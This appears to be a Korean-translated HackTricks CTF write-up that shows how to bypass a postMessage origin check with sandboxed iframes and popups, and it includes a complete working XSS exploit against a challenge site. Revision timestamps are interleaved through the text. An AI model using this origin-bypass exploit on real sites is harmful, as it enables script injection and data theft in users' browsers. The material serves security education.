2024-02-10 21:30:13 +00:00
# SOP 우회하기 - Iframes - 1
2022-10-13 00:56:34 +00:00
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하거나 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견해보세요. 독점적인 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[** @carlospolopm **](https://twitter.com/hacktricks_live)**.**
* **해킹 트릭을 공유하려면 [hacktricks repo ](https://github.com/carlospolop/hacktricks ) 및 [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**에 PR을 제출하세요.
2022-10-13 00:56:34 +00:00
< / details >
2024-02-10 21:30:13 +00:00
## SOP-1에서의 Iframes
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
[**NDevTK** ](https://github.com/NDevTK )와 [**Terjanq** ](https://github.com/terjanq )가 만든 이 [**도전과제** ](https://github.com/terjanq/same-origin-xss )에서는 코드 내 XSS를 악용해야 합니다.
2022-10-13 00:56:34 +00:00
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
2024-02-10 21:30:13 +00:00
const data = e.data;
if (e.origin !== window.origin & & data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
2022-10-13 00:56:34 +00:00
}
```
2024-02-10 21:30:13 +00:00
주요 문제는 [**메인 페이지** ](https://so-xss.terjanq.me )가 DomPurify를 사용하여 `data.body` 를 전송하기 때문에 해당 코드로 자체 HTML 데이터를 보내려면 `e.origin !== window.origin` 을 **우회**해야 한다는 것입니다.
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
제안된 해결책을 살펴보겠습니다.
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
### SOP 우회 1 (e.origin === null)
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
`//example.org` 이 **sandboxed iframe**에 포함되면 페이지의 **원본(origin)**은 ** `null` **이 됩니다. 즉, ** `window.origin === null` **입니다. 따라서 `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` 를 통해 iframe을 포함시키면 ** `null` 원본**을 강제로 생성할 수 있습니다.
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
페이지가 **포함 가능**한 경우에는 이러한 보호를 우회할 수 있습니다 (쿠키도 `SameSite=None` 으로 설정해야 할 수 있습니다).
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
### SOP 우회 2 (window.origin === null)
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
잘 알려지지 않은 사실은 **sandbox 값으로 `allow-popups` 가 설정**되어 있을 때 **열린 팝업**은 `allow-popups-to-escape-sandbox` 가 설정되지 않는 한 모든 **sandboxed 속성**을 **상속**받는다는 것입니다.\
따라서 **null 원본**에서 **팝업을 열면** 팝업 내부의 ** `window.origin` **도 ** `null` **이 됩니다.
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
### 도전 과제 해결책
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
따라서 이 도전 과제에서는 **iframe을 생성**하고, 취약한 XSS 코드 핸들러인 (`/iframe.php`) 페이지로 **팝업을 열 수** 있습니다. `window.origin === e.origin` 이 가능한 이유는 둘 다 `null` 이기 때문입니다. 이를 통해 XSS를 악용할 페이로드를 **전송할 수 있습니다** .
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
해당 페이로드는 **식별자**를 가져와 **XSS를 다시 상위 페이지** (팝업을 열었던 페이지)로 **전송**합니다. 이때, 식별자는 알려져 있으므로 `window.origin === e.origin` 조건이 만족되지 않아도 상관없습니다 (기억하세요, 원본은 **iframe의 팝업**이며 **원본**은 ** `null` **입니다) `data.identifier === identifier` 입니다. 그런 다음, XSS가 다시 트리거됩니다. 이번에는 올바른 원본에서 발생합니다.
2022-10-13 00:56:34 +00:00
```html
< body >
2024-02-10 21:30:13 +00:00
< script >
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'< img / src / onerror = alert(localStorage.html) > '},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
< h1 > Click me!< / h1 >
< script >
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "< audio / src / onerror = \\"${payload} \\" > "}, '*')
}, 1000);
};
< \/script >
`
document.body.appendChild(f);
< / script >
2022-10-13 00:56:34 +00:00
< / body >
```
< details >
2024-02-10 21:30:13 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요< strong > !< / strong > < / summary >
2022-10-13 00:56:34 +00:00
2024-02-10 21:30:13 +00:00
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요** ? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견해보세요. 독점적인 [**NFT** ](https://opensea.io/collection/the-peass-family ) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스웨그** ](https://peass.creator-spring.com )를 얻으세요.
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[** @carlospolopm **](https://twitter.com/hacktricks_live)**.**
* **해킹 트릭을 공유하려면 [hacktricks repo ](https://github.com/carlospolop/hacktricks ) 및 [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**에 PR을 제출하세요.
2022-10-13 00:56:34 +00:00
< / details >